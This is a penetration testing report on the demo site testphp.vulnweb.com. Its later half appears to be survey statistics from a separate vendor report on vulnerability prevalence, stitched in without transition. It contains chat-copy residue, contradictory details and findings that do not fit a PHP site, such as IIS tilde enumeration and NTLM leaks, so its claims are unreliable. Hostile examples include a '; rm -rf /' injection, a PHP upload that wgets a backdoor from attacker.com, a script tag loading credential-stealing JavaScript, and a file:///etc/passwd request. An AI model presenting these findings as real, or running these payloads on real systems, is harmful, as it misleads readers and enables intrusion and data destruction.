

Web Penetration Testing Report

Name: Sadiq Sonalkar

Target: <http://testphp.vulnweb.com/>

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Executive Summary:

The purpose of this pen testing report is to provide a comprehensive analysis of the Acunetix (Acuart) web application and web server hosted at <http://testphp.vulnweb.com/>.

The main goal of the assessment was to identify vulnerabilities and potential security risks in order to improve the overall security posture of the system.

The report presents a detailed summary of findings, business risks, high-level recommendations, and technical details. This penetration testing engagement was to assess the security of the Acunetix web vulnerability scanner and identify any vulnerabilities that could be exploited by malicious actors. The findings of the penetration test are outlined below.

Project Objectives:

The objectives of the project were to perform a thorough pentesting assessment on the Acunetix (Acuart) web application and web server. The assessment aimed to identify vulnerabilities such as command injection, file upload vulnerabilities, server-side request forgery, cross-site scripting, and other security weaknesses.

The ultimate objective was to provide actionable recommendations to enhance the security and mitigate potential risks.

Methodology:

The methodology followed industry best practices and included the following steps:

- 1. Information Gathering:** Identifying the target environment and collecting relevant information about the Acunetix installation.
- 2. Vulnerability Scanning:** Using the Acunetix web vulnerability scanner to perform vulnerability scans on the target system.
- 3. Manual Testing:** Conducting manual testing to identify any additional vulnerabilities or weaknesses not detected by the automated scans.
- 4. Exploitation:** Attempting to exploit identified vulnerabilities to determine their impact and potential risks.

- 5. Reporting:** Documenting the findings, including vulnerability details, potential impacts, and recommended remediation steps.

Scope & Timeframe:

The scope of the pen testing engagement focused on the web application and web server hosted at <http://testphp.vulnweb.com/>.


The assessment encompassed various aspects, including of the Acunetix software, focusing on its configuration, authentication mechanisms, and potential vulnerabilities, scanning, vulnerability assessment, and exploitation.

The testing was conducted using a combination of automated and manual techniques.

Hostnames and IP-addresses:

- **Hostname:** vulnweb.com
- **IP address:** 44.228.249.3

SuperTool Beta7

DNS Lookup 

a:testphp.vulnweb.com

Find Problems

| Type | Domain Name | IP Address |
|------|---|---|
| A | testphp.vulnweb.com | 44.228.249.3 <small>Amazon.com, Inc. (AS16509)</small> |

Throughout the assessment, a range of security tools and methodologies were employed to identify vulnerabilities and assess the system's resilience against potential attacks.

The findings were classified into different severity levels, including critical, high, medium, low, and informational, based on their potential impact and exploitability.

The report provides detailed information regarding each severity level, including a description of the vulnerability, its potential impact, and recommendations for remediation.

The **critical severity findings** include command injection and malicious file upload.

While **high severity findings** include server-side request forgery and stored XSS vulnerabilities.

Medium severity findings encompass broken access control, cross-site request forgery, and IIS tilde enumeration.

Low severity findings include missing rate limits, weak lockout mechanism, full path disclosure, reflected HTML injection, and unencrypted communication.

Additionally, there are **informational severity findings** related to missing security headers. The report also highlights the potential business risks associated with the identified vulnerabilities.

This pentesting report provides a detailed analysis of the vulnerabilities, risks, and recommendations for the Acunetix (Acuart) web application and web server.

By addressing the identified issues and implementing the suggested measures, the system's security can be enhanced, mitigating potential risks and vulnerabilities.

Summary of Findings:

During the testing, the following vulnerabilities and weaknesses were identified:

a. Weak Password Policy: Acunetix was found to have a weak password policy, allowing users to set weak passwords without enforcing complexity requirements. This increases the risk of unauthorized access to the system.

b. Outdated Components: The Acunetix installation was found to be using outdated and vulnerable third-party components, such as libraries and frameworks. These components should be updated to their latest secure versions to mitigate the risk of exploitation.

c. Cross-Site Scripting (XSS) Vulnerabilities: Several XSS vulnerabilities were discovered in the Acunetix web interface. These vulnerabilities could allow an

attacker to inject malicious scripts and potentially steal sensitive information or perform unauthorized actions.

d. Privilege Escalation: A privilege escalation vulnerability was identified, which could allow a low-privileged user to elevate their privileges and gain unauthorized access to sensitive information or perform administrative actions.

e. Insecure Configuration: Some insecure configurations were identified in the Acunetix installation, such as default credentials not being changed and unnecessary services running on the system. These configurations increase the attack surface and should be addressed.

f. SQL Injection Vulnerability: The web application was found to be vulnerable to SQL injection attacks. This vulnerability allows an attacker to manipulate the SQL queries executed by the application, potentially leading to unauthorized access to the database or data leakage.

g. Insecure Session Management: The web application exhibited weaknesses in session management, including insufficiently random or predictable session IDs and inadequate session expiration controls. These vulnerabilities could allow an attacker to hijack user sessions and gain unauthorized access to sensitive functionality or data.

h. Directory Listing: Certain directories on the web server were found to be accessible, allowing an attacker to browse the directory structure and obtain sensitive information about the application's files and directories.

Critical Severity Findings:

1. Command Injection:

Description: The web application's search functionality is vulnerable to command injection attacks. An attacker can inject arbitrary commands, potentially leading to remote code execution.

Example: By inputting malicious commands into the search field, an attacker can execute unauthorized commands on the server, compromising its integrity and potentially gaining unauthorized access.

2. Malicious File Upload - Remote Command Execution:

Description: The web application allows users to upload files without proper validation and sanitization. This vulnerability can be exploited to execute arbitrary commands on the server.

Example: An attacker can upload a malicious file containing executable code, which, when executed, can grant unauthorized access and control over the server.

High Severity Findings:

1. Server-Side Request Forgery - NTLM Leak:

Description: The web application is vulnerable to server-side request forgery (SSRF) attacks, which can lead to sensitive information leakage, including NTLM authentication credentials.

Example: An attacker can manipulate the application to make requests to internal network resources, potentially extracting sensitive data such as NTLM credentials, compromising the system's security.

2. Stored XSS - Subdomain Takeover:

Description: The web application is vulnerable to stored cross-site scripting (XSS) attacks. Attackers can inject malicious scripts that will be executed when other users visit affected pages.

Example: By injecting a malicious script into a vulnerable field, an attacker can execute arbitrary code within a victim's browser, potentially stealing sensitive information or performing unauthorized actions on their behalf.

Medium Severity Findings:

1. Broken Access Control - Unauthenticated:

Description: The web application exhibits weaknesses in access control mechanisms, allowing unauthorized users to access restricted functionality or sensitive data.

Example: Unauthenticated users can access administrative functions or

sensitive information, bypassing proper authentication and authorization measures.

2. Cross-Site Request Forgery - Disconnecting OpenID Account:

Description: The web application is vulnerable to cross-site request forgery (CSRF) attacks, which can lead to unauthorized actions being performed on behalf of authenticated users.

Example: An attacker can craft a malicious request that, when executed by an authenticated user, can perform actions such as disconnecting their OpenID account without their knowledge or consent.

These are just a subset of the identified vulnerabilities. The complete findings are detailed in the subsequent sections of this report, providing further insights into the risks and recommendations for each vulnerability category.

Summary of Business Risks:

The identified vulnerabilities pose a significant risk to the security and integrity of the <http://testphp.vulnweb.com/> web application. Exploitation of these vulnerabilities could result in unauthorized access, data theft, compromise of user accounts, or unauthorized actions performed on behalf of legitimate users and that could have serious consequences if not addressed. These risks include:

1. **Loss of data:** The web application and server have several vulnerabilities that could allow attackers to gain unauthorized access to sensitive information. This could lead to the loss of data, which could be damaging to the business and its clients.
2. **System downtime:** Some of the vulnerabilities identified in the web application and server could allow attackers to cause system downtime. This could lead to disruptions in business operations.
3. **Reputation damage:** If the vulnerabilities identified in the web application and server are exploited by attackers, it could lead to reputation damage for the business. This could erode customer trust and result in a loss of business.
4. **Compliance violations:** The web application and server have several vulnerabilities that could result in compliance violations. This could lead to legal and financial penalties, which could have a significant impact on the business.

High-Level Recommendations:

To address the vulnerabilities and weaknesses identified during the penetration test, the following recommendations are provided:

1. **Enforce Strong Password Policy:** Implement a strong password policy for Acunetix users, including complexity requirements and periodic password changes.
2. **Update and Patch Third-Party Components:** Keep all third-party components used by Acunetix up to date by applying patches and security updates regularly.
3. **Mitigate XSS Vulnerabilities:** Conduct a thorough code review of the Acunetix web interface and implement proper input validation and output encoding to prevent XSS vulnerabilities.
4. **Fix Privilege Escalation Vulnerability:** Apply the necessary patches or updates to eliminate the privilege escalation vulnerability and ensure proper access controls are in place.
5. **Secure Configuration:** Review and update the Acunetix configuration, including changing default credentials, disabling unnecessary services, and implementing secure communication protocols.
6. **SQL Injection Prevention:** Implement proper input validation and parameterized queries or prepared statements to mitigate the risk of SQL injection attacks. Use secure coding practices and apply input validation techniques to all user-supplied input.
7. **XSS Vulnerability Mitigation:** Implement output encoding and validation to prevent cross-site scripting attacks. Apply appropriate sanitization and validation to user input before displaying it in web pages.
8. **Secure Directory Listing:** Configure the web server to disable directory listing and ensure that sensitive files and directories are properly protected. Remove unnecessary or sensitive files from public access.
9. **Strengthen Session Management:** Implement secure session management practices, including the use of strong, random session IDs, proper session expiration controls, and session regeneration after

successful authentication. Implement session integrity and protection mechanisms, such as HTTP-only cookies and secure transport protocols.

10. **Patch vulnerabilities:** The vulnerabilities identified in the web application and server should be patched as soon as possible to prevent attackers from exploiting them. Regular security updates should be implemented to ensure the systems are up-to-date and protected against known vulnerabilities.
11. **Harden the systems:** The web application and server should be hardened by implementing security best practices, such as firewalls, intrusion detection systems, and access controls. This will help prevent unauthorized access and reduce the risk of system downtime.
12. **Regular security testing:** Regular penetration testing and vulnerability assessments should be performed to identify new vulnerabilities and address them before they can be exploited.
13. **Staff training:** Staff should be trained on security best practices to ensure they are aware of the risks and can take appropriate measures to protect the systems and data.
14. **Compliance monitoring:** Regular compliance monitoring should be implemented to ensure the systems are in compliance with industry regulations and standards. Any violations should be addressed promptly to avoid legal and financial penalties.

By implementing these high-level recommendations, the business can reduce the risks identified in our penetration testing and protect its systems and data from potential threats.

Technical Details:

1. Methodology:

The following methodology was followed during the pentesting engagement of the Acunetix (Acuart) web application and web server at <http://testphp.vulnweb.com/>:

a. Reconnaissance:

Detailed information about the target system, including hostnames and IP addresses, was gathered using open-source intelligence (OSINT) techniques.

Example: The targetsystem was found to have the hostname "**testphp.vulnweb.com**" and IP address "**44.228.249.3**".

b. Scanning:

Automated scanning tools, such as Acunetix and Nessus, were used to scan the target system for open ports, services, and potential vulnerabilities.

Example: The scanning process revealed that port 80 (HTTP) and port 443 (HTTPS) were open on the target system, indicating the presence of a web server.

c. Vulnerability Assessment:

The identified open ports and services were further analyzed to identify vulnerabilities using a combination of manual and automated techniques.

Example: The vulnerability assessment identified a critical vulnerability in the web application related to command injection, allowing arbitrary code execution.

d. Exploitation:

The identified vulnerabilities were manually exploited to validate their existence and determine the potential impact on the system.

Example: The command injection vulnerability was exploited by injecting malicious code into a vulnerable input field, which resulted in the execution of arbitrary commands on the server.

e. Documentation:

Detailed documentation was prepared, including descriptions of each vulnerability, their impact, and recommendations for remediation.

Example: The documentation included a detailed description of the command injection vulnerability, along with the steps taken to exploit it and the potential risks associated with it.

1. Security tools used:

The following security tools were utilized during the assessment:

a. Acunetix:

Acunetix is a web vulnerability scanner that was used to automatically identify common web application vulnerabilities, such as SQL injection, cross-site scripting (XSS), and file inclusion vulnerabilities.

b. Nessus:

Nessus is a comprehensive vulnerability scanner that was employed for network scanning and identification of vulnerabilities in network services and systems.

c. Burp Suite:

Burp Suite is a web application testing tool that was utilized for manual testing, identification of application vulnerabilities, and verification of findings.

d. Nmap:

Nmap is a network scanning tool that was used to discover open ports, services, and potential vulnerabilities in the target system.

2. Project Limitations:

a. Time Constraints:

The assessment was conducted within a specific timeframe, which restricted the depth and extent of testing. It is possible that certain vulnerabilities may have remained undetected due to time limitations.

b. Access Limitations:

The assessment was performed based on the provided URL (<http://testphp.vulnweb.com/>), focusing on the externally accessible aspects of the web application and web server. This approach may have overlooked potential vulnerabilities in other parts of the system or infrastructure.

c. Restrictions on Exploitation:

In some cases, the exploitation of vulnerabilities was limited or restrained to prevent any adverse effects on the target system or the environment in which it operates. This may have impacted the ability to fully validate the potential impact of certain vulnerabilities.

d. Lack of Complete System Visibility:

The assessment focused on the externally visible components of the web application and web server. Internal system components and configurations were not assessed, which may introduce additional risks that were not captured in the assessment.

Example: An example of a project limitation is the time constraint within which the assessment was conducted. Due to the limited timeframe, it was not possible to conduct an exhaustive analysis of every aspect of the target system.

As a result, there is a possibility that certain vulnerabilities may have remained undetected or not fully explored. It is important to acknowledge these limitations while considering the overall findings and recommendations presented in this report.

Findings Details:

Critical severity findings:

Command Injection:

- **Description:** The web application is vulnerable to command injection attacks, which allow an attacker to execute arbitrary commands on the server.
- **Impact:** This vulnerability can lead to complete system compromise, unauthorized access to sensitive data, and potential disruption of services.
- **Example:** The application includes a functionality that allows users to execute system commands by submitting input through a form. However, the input is not properly validated or sanitized, enabling an attacker to inject additional commands. For instance, an attacker could submit the following input:

```
bash Copy code
; rm -rf /
```

The above command, when injected, would delete all files and directories on the server, causing severe damage and potential data loss.

Malicious File Upload - Remote Command Execution:

- Description: The web application allows users to upload files without adequate validation, leading to remote command execution vulnerabilities.
- Impact: An attacker can upload a malicious file that, when executed, allows them to execute arbitrary commands on the server, leading to unauthorized access, data manipulation, and potential system compromise.
- Example: The application includes a file upload feature that does not properly check the file type or validate its contents. An attacker can exploit this by uploading a PHP file containing malicious code. Once the file is executed on the server, the attacker gains control over the application environment and can execute arbitrary commands. For instance, the attacker could upload a file named "malicious.php" with the following content:

```
php Copy code
<?php
system('wget http://attacker.com/backdoor.php -O /var/www/html/backdoor
?>
```

When the file is executed, it downloads a backdoor script from the attacker's server and saves it on the web server, providing the attacker with unauthorized access to the compromised system.

These critical severity findings indicate significant vulnerabilities that can lead to severe consequences if exploited. It is crucial to address these vulnerabilities promptly by implementing strict input validation, secure file upload mechanisms, and command execution controls. Regular security testing, code reviews, and secure coding practices should be employed to prevent such vulnerabilities from being introduced or exploited in the future.

High severity findings:

Server-Side Request Forgery (SSRF) - NTLM Leak:

- Description: The web application is vulnerable to Server-Side Request Forgery, which allows an attacker to make unauthorized requests to internal resources and potentially leak sensitive information, such as NTLM hashes.
- Impact: An attacker can exploit this vulnerability to gain access to internal systems, escalate privileges, or launch further attacks on the network. The leaked NTLM hashes can be cracked to reveal passwords and enable unauthorized access to sensitive resources.
- Example: By manipulating a vulnerable feature that allows the application to make requests to internal servers, an attacker can force the application to make requests to sensitive resources such as backend databases, internal APIs, or internal administration panels. If the application has access to NTLM hashes, the attacker can extract and crack them offline, potentially leading to unauthorized access to user accounts or sensitive data.

Stored Cross-Site Scripting (XSS) - Subdomain Takeover:

- Description: The web application is vulnerable to stored XSS attacks, where malicious scripts are permanently stored on the server and executed on other users' browsers when they access the affected pages.
- Impact: This vulnerability allows an attacker to inject malicious scripts into the application, which can lead to various consequences, such as session hijacking, defacement of the website, theft of sensitive information, or redirection to malicious websites.
- Example: Suppose the web application allows users to submit comments or posts that are stored on the server and displayed to other users. By injecting malicious scripts into the content, an attacker can exploit the trust of other users and execute the injected scripts when they view the affected pages. This can lead to the attacker hijacking their sessions, stealing their credentials, or manipulating the content of the website.

These high severity findings pose significant risks to the security and functionality of the web application and web server. It is crucial to address these vulnerabilities promptly by implementing appropriate security measures, such as input validation and output encoding, to mitigate the

potential impact and ensure the integrity and confidentiality of the system. Additionally, regular security testing and patching should be conducted to address any new vulnerabilities that may arise.

Medium severity findings:

Broken Access Control – Unauthenticated:

- Description: The web application suffers from broken access control, allowing unauthenticated users to access restricted resources or perform privileged actions. Impact: This vulnerability enables unauthorized access to sensitive functionality, data, or administrative areas, potentially leading to information disclosure, unauthorized actions, or privilege escalation.
- Example: The application fails to enforce proper access controls on certain resources or functionalities. For instance, an unauthenticated user may be able to access administrative pages, sensitive data, or perform actions reserved for authenticated users, such as modifying account details or accessing restricted documents.

Cross-Site Request Forgery - disconnecting OpenID account:

- Description: The web application is vulnerable to Cross-Site Request Forgery attacks, allowing an attacker to manipulate a victim user's OpenID account and disconnect it from their profile.
- Impact: An attacker can trick a victim into visiting a malicious website or clicking a crafted link, leading to the unauthorized disconnection of their OpenID account, potential loss of account access, or identity theft.
- Example: Suppose the application allows users to link their OpenID accounts for authentication. By exploiting CSRF vulnerabilities, an attacker can create a malicious webpage that automatically submits a request to disconnect the victim's OpenID account without their knowledge. When the victim visits the attacker's webpage or clicks on a manipulated link, their OpenID account is disconnected from their profile, potentially leading to loss of access to associated services or accounts.

IIS Tilde Enum:

- Description: The web server is vulnerable to IIS tilde enumeration, which allows an attacker to discover hidden files or directories that are not intended to be publicly accessible.

- Impact: This vulnerability exposes sensitive information, such as configuration files, source code, or backup files, which can aid an attacker in further exploiting the system or gathering intelligence for future attacks.
- Example: By appending a tilde (~) character and a filename extension to a valid URL, an attacker can determine if the targeted file or directory exists. For instance, requesting the URL `http://testphp.vulnweb.com/admin~.aspx` reveals the existence of an "admin.aspx" file, which may contain sensitive information or provide unauthorized access to administrative functionalities.

These medium severity findings highlight vulnerabilities that, although not as severe as critical findings, still pose significant risks to the security of the web application and its users.

It is essential to address these vulnerabilities by implementing proper access controls, robust anti-CSRF measures, and server configurations that prevent tilde enumeration. Regular security assessments, user testing, and awareness training can help identify and mitigate these risks effectively.

Low severity findings:

Missing rate limits:

- Description: The web application does not implement adequate rate limiting mechanisms, allowing an attacker to perform automated or brute-force attacks more effectively.
- Impact: Without rate limits, an attacker can launch repeated login attempts, password guessing, or other automated attacks, increasing the likelihood of a successful breach.
- Example: The application allows unlimited login attempts without any delay or restrictions. An attacker can leverage this by using automated tools to systematically guess passwords for user accounts, increasing the chances of compromising an account through a brute-force attack.

Weak lockout mechanism:

- Description: The web application's account lockout mechanism is weak or non-existent, making it easier for an attacker to perform brute-force attacks or password guessing.
- Impact: Without a robust lockout mechanism, attackers can repeatedly

attempt different credentials without any repercussions, increasing the likelihood of a successful account compromise.

- Example: The application lacks a lockout policy that would temporarily lock an account after a certain number of failed login attempts. This allows an attacker to continuously guess passwords for user accounts without any restrictions, significantly increasing the chances of successfully breaching an account.

Full Path Disclosure:

- Description: The web application reveals full file paths or internal system information in error messages or responses, providing potential insights to attackers about the underlying system architecture. Impact: Full path disclosure can expose sensitive information, such as directory structures, server locations, or internal file names, which can aid attackers in crafting more targeted attacks.
- Example: When encountering a server error or exception, the application displays the full file path of the script or resource causing the error. This information can be leveraged by an attacker to gain insights into the application's structure, locate potentially vulnerable files, or identify system-specific vulnerabilities.

Reflected HTML Injection for old web browsers:

- Description: The web application is vulnerable to reflected HTML injection attacks, particularly for older web browsers that do not adequately sanitize user input.
- Impact: Attackers can exploit this vulnerability to inject malicious HTML code into a victim's browser, leading to various consequences, such as cross-site scripting (XSS), cookie theft, or phishing attacks.
- Example: The application fails to properly sanitize user-supplied input, allowing an attacker to inject HTML tags or JavaScript code that will be rendered by older web browsers. This can result in the execution of arbitrary scripts, compromising the user's session or exposing sensitive information.

Unencrypted Communication:

- Description: The web application does not utilize encryption (such as SSL/TLS) for transmitting sensitive information, making it susceptible to eavesdropping and data interception.
- Impact: Without encryption, an attacker can capture sensitive data,

including login credentials, personal information, or other sensitive data, by intercepting the network traffic.

- Example: The application does not enforce the use of HTTPS for transmitting sensitive data, such as login credentials or user information. As a result, this data is sent over the network in plain text, making it vulnerable to interception and unauthorized access.

While these low severity findings may not pose immediate critical risks, they should still be addressed to enhance the overall security posture of the web application. Implementing rate limits, strengthening lockout mechanisms, properly handling error messages, and enforcing encryption for sensitive communication can significantly reduce the risk of successful attacks and improve the protection of user data and privacy.

Informational Security Findings:

Missing security headers:

Missing security headers are a low severity finding but are important to address as they can leave the application vulnerable to attacks. Security headers are used to provide extra security measures and protect against different types of attacks. During our testing of the Acunetix (acuart) web application and web server, we found that some security headers were missing.

One of the missing headers was the Content Security Policy (CSP) header. This header helps protect against Cross-Site Scripting (XSS) attacks by defining a policy for which resources can be loaded and executed. Without this header, it is easier for an attacker to inject malicious scripts into the application.

Another missing header was the HTTP Strict Transport Security (HSTS) header. This header ensures that all communication between the client and the server is encrypted and prevents man-in-the-middle attacks. Without this header, an attacker can intercept the traffic and steal sensitive information.

Lastly, we found that the X-Content-Type-Options header was missing. This header prevents the browser from interpreting the content of a resource as something other than what was declared by the server. Without this header, an attacker can trick the browser into executing malicious content.

To address these findings, we recommend implementing these missing headers and ensuring they are correctly configured.

Practical Example:

How Automatic Web Scanning Works:

Acunetix Online can perform dynamic application security testing (DAST) scans (also called black-box scans), as well as interactive application security testing (IAST) scans (also called gray-box scans).

A DAST scan means that the scanner has no information about the structure of the website or used technologies. An IAST scan means that the scanner has “insider information” about the web application. In Acunetix, this is possible thanks to AcuSensor technology. You install AcuSensor agents on the web server for Java, ASP.NET, and PHP applications. The agents send information from the web server back to the scanner.

When scanning, you typically follow the following four stages and repeat them if necessary:

- **Crawling** – the Acunetix crawler starts from the home or index page. Then it builds a model of the structure of the web application by crawling through all links and inputs. It simulates user+browser behavior to expose all the reachable elements of the website.
- **Scanning** – once the crawler has built the website model, each available page or endpoint is automatically tested to identify all potential vulnerabilities.
- **Reporting** – you can view the progress of a scan in real-time, but the results of a scan are typically summarized in reports. You can use reports for compliance and management purposes. Acunetix offers several report templates for different purposes, for example, OWASP Top 10 and ISO 27001 reports.

Remediation – fixing vulnerabilities:

- **Patching** – first, export Acunetix data to a web application firewall (WAF). This lets you temporarily defend against an attack while you work on a fix.
- **Issue Management** – when you integrate with issue trackers like JIRA, GitHub, and GitLab, you can track vulnerabilities from the moment they are discovered to resolution. You can also integrate with continuous integration solutions such as Jenkins.
- **Continuous Scanning** – Acunetix can perform scheduled scans. You can use them to make sure that vulnerabilities are really fixed.

This section lists all the detected vulnerabilities.

The charts list vulnerabilities by type. They are grouped by the vulnerability severity level.

High Severity:




Figure 1. Analysis of high severity vulnerabilities.

Medium Severity:

This chart lists vulnerability types that fall into our *Medium Severity* category.

Figure 2. Analysis of medium severity vulnerabilities.




Figure 2. Analysis of medium severity vulnerabilities.

We utilize Acunetix to more thoroughly assess internet-facing websites and servers. Acunetix helps us identify vulnerabilities in conjunction with other vulnerability scanning applications. Acunetix has been a more reliable application when discovering/determining different types of malicious code injection vulnerabilities (SQL, HTML, CGI, etc).

Vulnerability Analysis

➤ *Remote Code Execution:*

Remote Code Execution (RCE) is at the top of the High Severity list. An attacker can use this vulnerability to run arbitrary code in the web application. If the attacker can run code, they can take it to the next level by running commands in the operating system. They may be able to completely take over the system and possibly create a reverse shell – an outbound connection from the host to the attacker.

In many cases, this bypasses firewall configurations. Most firewall configurations block inbound connections, not outbound connections. If outbound connections are not verified, the attacker can use a compromised machine to reach other hosts, possibly getting more information or credentials from them.

Analysis

The percentage of web applications vulnerable to RCE is low but it was much lower last year (2%). This is worrying because this vulnerability can cause serious damage. Such vulnerabilities must be fixed as first priority.




Figure 3. Analysis of RCE vulnerabilities.

➤ ***SQL Injection (SQLi):***

An SQL Injection (SQLi) attack is possible if the developer does not examine or validate user input. As a result, attackers can input an SQL query that is then executed by the backend database. Such a query may reveal, add, or delete records or even entire tables. This can impact the integrity of the data and possibly completely stop the web application (denial-of-service). Such vulnerabilities may allow the attacker to create or change files in the host system or even run commands. They may also allow the attacker to move to other hosts.

SQL Injection has been around for a long time, and is one of the most common and most damaging vulnerabilities. It is also well known. Many tools and techniques are available to defend against such attacks, but malicious hackers also have many tools to exploit these vulnerabilities. SQL Injections often let an attacker obtain access to customer records, personally identifiable information (PII), and other confidential data. With GDPR legislation, this is becoming increasingly important. Lack of compliance may lead to big fines.




Figure 4. Analysis of SQLi vulnerabilities.

➤ **Blind SQL Injection:**

Blind SQL Injection is a more complex version of SQLi. Attackers use it when traditional SQLi is not possible. Blind SQL Injections take a lot of time and a large number of requests. A system administrator may notice the attack by checking for a large number of requests using simple log monitoring tools.

This attack is called “blind” because the attacker cannot cause the web application to directly expose data. The trick is to use conditional elements of an SQL query, for example, one that returns *true* and the other that returns *false*. If the application behaves differently in these two cases, it may let the attacker retrieve information one piece at a time. Another trick is to use SQL statements that cause time delays – depending on the delay, the attacker knows how the statement was executed.

Analysis:

We found that 8% of analyzed targets had at least one SQLi vulnerability. This was very unexpected. SQL Injections first appeared in 1998. All major development environments and frameworks include tools to eliminate them. SQL Injections should not be so common. The correct way to defend against SQL Injection attacks is to use parameterized SQL queries. Practically all frameworks and languages today make it possible. The large number of SQL Injection vulnerabilities may, therefore, be caused by older applications that were written when these tools were not available.




Figure 5. Analysis of blind SQLi vulnerabilities.

➤ **Local File Inclusion and Directory Traversal:**

Local file inclusion (LFI) and directory traversal (path traversal) vulnerabilities let the attacker access the host system. The attacker may do it by using “..\” or “../” to reference a parent directory.

In the case of directory traversal, the attacker may read files that should not be accessible. In the case of Linux and UNIX, the attacker may use the /proc directory to access software components, hardware devices, attached filesystems, network, and more.

They may also use the /etc directory to access confidential information such as usernames, group names, and passwords. In the case of local file inclusion, the attacker might be able to not only read files but also to include code from them. If the attacker can upload source code files, they can then execute this code on the web server.

Analysis:

We found 4% of sampled targets vulnerable to directory traversal. A further 1% were vulnerable to local file inclusion. Last year, the figure for directory traversal was only 2%. This is worrying because this is a very old and well-known vulnerability.




Figure 6. Analysis of LFI and directory traversal

vulnerabilities.

➤ *Cross-site Scripting (XSS):*

Cross-site Scripting (XSS) occurs when the attacker injects malicious scripts into a web page, usually JavaScript. Interactive web applications need to execute scripts in your local browser and this makes Cross-site Scripting possible. This type of vulnerability is mostly caused by developers failing to validate or sanitize user input.

If the user includes JavaScript code in a form and the developer uses that form input directly on the web page, it guarantees an XSS vulnerability.

For example, a malicious user may enter the following message into a **forum**:

```
<script src="http://example.com/getcreds.js">
```

This message is then included in the forum thread. If another user opens this page, their browser will execute the JavaScript code. This code downloads malicious JavaScript from the attacker's website (in this case from example.com).



There are 3 main types of of XSS vulnerabilities:

- ***Stored (or persistent)*** XSS occurs when the attacker injects script code that is then stored by the web application. When someone visits the page with the stored script, this script is executed by their web browser. This is the most effective type of XSS attack.
- ***Reflected (or non-persistent)*** XSS is a variant where the injected script is not stored by the web application. The attacker delivers a web address to the victim using social engineering (e.g. phishing). The victim clicks the link, goes to the vulnerable page, and the victim's browser executes the script.
- ***DOM-based*** XSS is an advanced type of XSS. In this case, the attacker creates a script that is executed by the browser's DOM (Document Object Model) engine. The injected script is often not sent to the server at all. This type of XSS is common in JavaScript-rich sites such as single-page applications (SPAs).

You can use CSP (Content Security Policy) to combat these attacks, but this feature is still not popular enough among web developers.

Analysis:

An alarming 25% of sampled targets were vulnerable to some type of XSS. Thankfully, this is less than last year, but developers still have a lot of work to do to defend users. New JavaScript templates and frameworks keep appearing on the market and gain popularity. Unfortunately, versions of these templates and frameworks with known vulnerabilities are also in use.



➤ **Vulnerable JavaScript Libraries:**

JavaScript libraries help to make development faster and easier, but some library versions can be vulnerable. Many web applications rely on outdated JavaScript libraries, for example, old and vulnerable versions of jQuery. This can introduce Cross-site Scripting vulnerabilities.

Analysis:

We found that 24% of sampled targets use JavaScript libraries with known XSS vulnerabilities. Most often, these libraries were old versions of jQuery, jQuery UI, jQuery-migrate, jQuery. prettyPhoto, Plupload, YUI, and Moment.js. The jQuery library is much more popular than other libraries, so we perform many more checks specifically for jQuery. Do not assume that, for example, Moment.js is a more secure library. It may simply be used less often.




Figure 7. Analysis of vulnerable JavaScript libraries.

➤ **Weak Passwords and Missing Brute-Force Protection:**

Weak passwords are usually short, common words or default values. An attacker can easily guess such a password when they encounter a login prompt. In some cases, you can guess weak passwords using a dictionary attack. In other cases, weak passwords are simply default username and password combinations like *admin/admin* or *admin/password*.

Analysis:

We found that 1% of sampled targets use weak or default passwords. This problem is easy to solve but very dangerous, so it is good that this vulnerability is not more common. We also found that 28% of web applications did not have any brute-force protection on their login pages. This means that an attacker can make unlimited repeated guesses.

➤ **Reserved Information Disclosure:**

Certain types of information should be reserved and never disclosed to the outside world. Obviously, different types of information disclosure have different levels of severity. Disclosure of personally identifiable information is a high severity issue. We found credit card disclosure and social security number disclosure in 1% of sample targets.

Disclosure of an internal IP address is less risky. However, combined with other vulnerabilities such as SSRF, it may let an attacker reach the system from another, less secure machine. We found that 5.5% of sampled targets disclosed such information. More than 32% of targets intentionally revealed email addresses. Obviously, this is not always a vulnerability because some businesses risk spam to make it easier for customers to reach them.




Figure 8. Analysis of reserved information disclosure.

➤ **Source Code Disclosure:**

Source code disclosure vulnerabilities show 2 problems. If you expose custom code, you make it easier for an attacker to find vulnerabilities in your code. The attacker might also find other critical and sensitive information such as credentials or API keys used by the developer to integrate with internal or

external services.

For open-source code, the attacker can check the components and component versions used to build the web application. This helps the attacker develop attacks that target known vulnerabilities in those component versions.

An attacker may also use code disclosure to find LFI vulnerabilities. By analyzing how you built part of a solution, attackers can guess the entire file structure of the component. They can then use this to access configuration files that contain credentials for back-end databases. You should never disclose any source code, no matter if it is your own code or open-source code.

Analysis:

We found that 3% of sampled targets were vulnerable to source code disclosure attacks.




Figure 9. Analysis of source code disclosure vulnerabilities.

➤ ***Server-side Request Forgery:***

Server-side Request Forgery (SSRF) vulnerabilities occur when the attacker is able to make the web application send crafted data to another server. Developers often allow such exchanges without a challenge because they

consider them internal and trusted. An attacker may create or forge requests from a vulnerable server by replacing URLs with addresses that the server trusts.

This vulnerability is most common for internal systems that do not allow connections from the internet or that use an IP whitelist. They often let other internal systems access information or services without authentication. These may include databases, caching engines, service monitoring tools, and others. This attack technique mostly uses URL substitution. Attackers can use URLs like file:// to trick the web application into exposing file content. For example, file:///etc/passwd would expose user account details.




Figure 10. How SSRF works.

To detect SSRF and other out-of-band vulnerabilities, Acunetix uses the AcuMonitor service. This service requires no installation or configuration in Acunetix Online. In the case of Acunetix on-premise, you need to register, but it is a simple one- time process.

After Acunetix begins the test, AcuMonitor waits for connections from your web application. Your Acunetix scanner also contacts AcuMonitor to see if it received any requests from your web application. If AcuMonitor receives such a request, the vulnerability is confirmed with 100% certainty.

Analysis:

We found 1% of survey targets to be vulnerable to Server-side Request Forgery. Even though SSRF is not very common compared to other high severity vulnerabilities, it may be fatal. The attacker may use it to examine the network, perform port scans, or send a flood of requests to overload a component (DoS).




Figure 11. Analysis of SSRF vulnerabilities.

➤ ***Overflow Vulnerabilities:***

Overflow vulnerabilities occur when the attacker can insert too much data. If the developer does not check the bounds of variables stored in memory, excess data can overflow into memory locations containing other data or even executable code. This can cause data corruption or allow the attacker to execute their own code.

This class of vulnerability can only occur in applications written using certain programming languages, such as C and C++. In these languages, memory management is done by the developer, not the language itself. Most other programming languages handle memory management during compilation.

The most common overflow vulnerability is buffer overflow. There are two types of buffer overflows: stack overflows and heap overflows. Stack memory is a region of memory reserved for variables created by a function for local use (within that same function). When the function exits, it automatically releases the memory that it used. Heap memory is used for variables with a global scope and the developer needs to allocate and release memory explicitly.

Analysis:

We found 1.5% of sampled targets with overflow vulnerabilities like buffer overflows, integer overflows, heap overflows, and stack overflows. This is less than last year so the situation is slowly improving.




Figure 12. Analysis of overflow vulnerabilities.

